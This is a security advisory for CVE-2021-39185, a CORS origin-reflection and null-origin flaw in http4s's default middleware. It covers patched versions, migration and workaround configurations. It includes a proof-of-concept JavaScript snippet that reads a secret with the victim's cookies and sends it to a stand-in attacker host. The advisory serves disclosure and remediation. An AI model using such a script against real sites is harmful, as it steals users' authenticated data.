CVE-2021-39185 — Vulnerability in org.http4s:http4s-server_2.12 —...

### Impact #### Origin reflection attack The default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app `app`, using the default CORS config, running at https://vulnerable.example.com: ```scala val routes: HttpRoutes[F] = HttpRoutes.of { case req if req.pathInfo === "/secret" => Response(Ok).withEntity(password).pure[F] } val app = CORS(routes.orNotFound) ``` The following request is made to our server: ```http GET /secret HTTP/1.1 Host: vulnerable.example.com Origin: https://adversary.example.net Cookie: sessionId=... ``` When the `anyOrigin` flag of `CORSConfig` is `true`, as is the case in the default argument to `CORS`, the middleware will allow sharing its resource regardless of the `allowedOrigins` setting. Paired with the default `allowCredentials`, the server approves sharing responses that may have required credentials for sensitive information with any origin: ```http HTTP/1.1 200 OK Access-Control-Allow-Origin: https://adversary.example.org Access-Control-Allow-Credentials: true Content-Type: text/plain p4ssw0rd ``` A malicious script running on `https://adversary.example.org/` can then exfiltrate sensitive information with the user's credentials to `vulnerable.exmaple.org`: ```javascript var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable.example.org/secret',true); req.withCredentials = true; req.send(); function reqListener() { location='//bad-people.example.org/log?key='+this.responseText; }; ``` #### Null origin attack The middleware is also susceptible to a Null Origin Attack. A user agent may send `Origin: null` when a request is made from a sandboxed iframe. The CORS-wrapped http4s app will respond with `Access-Control-Allow-Origin: null`, permitting a similar exfiltration of secrets to the above. ### Patches The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original `CORS` implementation and `CORSConfig` are deprecated. In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures: ### Migration The `CORS` object exposes a default `CORSPolicy` via `CORS.policy`. This can be configured with various `with*` methods, like any http4s builder. Finally, the `CORSPolicy` may be applied to any `Http`, like any other http4s middleware: ```scala val routes: HttpRoutes[F] = ??? val cors = CORS.policy .withAllowOriginAll .withAllowCredentials(false) .apply(routes) ``` ### Workarounds It is possible to be safe in unpatched versions, but note the following defects exist: * The `anyMethod` flag, enabled by default, accepts methods that cannot be enumerated in the `Access-Control-Allow-Methods` preflight response. * Rejected CORS requests receive a `403` response, when the client should be the enforcement point. The server should just omit all CORS response headers. * Does not send `Vary: Access-Control-Request-Headers` on preflight requests. This may confuse caches. * Does not validate the `Access-Control-Request-Headers` of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations. * Needlessly sends `Vary: Access-Control-Request-Method` on non-preflight requests. This should be harmless in practice. * Needlessly sends `Access-Control-Max-Age` header on non-preflight requests. This should be harmless in practice. * Sends an invalid `Access-Control-Allow-Credentials: false` instead of omitting the header. This should be harmless in practice. #### Explicit origins In versions before the patch, set `anyOrigin` to `false`, and then specifically include trusted origins in `allowedOrigins`. ##### 0.21.x ```scala val routes: HttpRoutes[F] = ??? val config = CORS.DefaultConfig.copy( anyOrigin = false, allowOrigins = Set("http://trusted.example.com") ) val cors = CORS(routes, config) ``` ###### 0.22.x, 0.23.x, 1.x ```scala val routes: HttpRoutes[F] = ??? val config = CORSConfig.default .withAnyOrigin(false) .withAllowedOrigins(Set("http://trusted.example.com")) val cors = CORS(routes, config) ``` #### Disable credentials Alternatively, sharing responses tainted by credentials can be deprecated. ##### 0.21.x ```scala val routes: HttpRoutes[F] = ??? val config = CORS.DefaultConfig.copy(allowCredentials = false) val cors = CORS(routes, config) ``` ##### 0.22.x, 0.23.x, 1.x ```scala val routes: HttpRoutes[F] = ??? val config = CORSConfig.default.withAllowedCredentials(false) val cors = CORS(routes, config) ``` ### References * The [MDN guide to CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) * [PayloadsAllTheThings CORS misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/6cba7ceda93c3f64559c3e73881c21076536e5fb/CORS%20Misconfiguration/README.md) ### For more information If you have any questions or comments about this advisory: * Open an issue in [GitHub](http://github.com/http4s/http4s) * Contact us via the [http4s security policy](https://github.com/http4s/http4s/security/policy)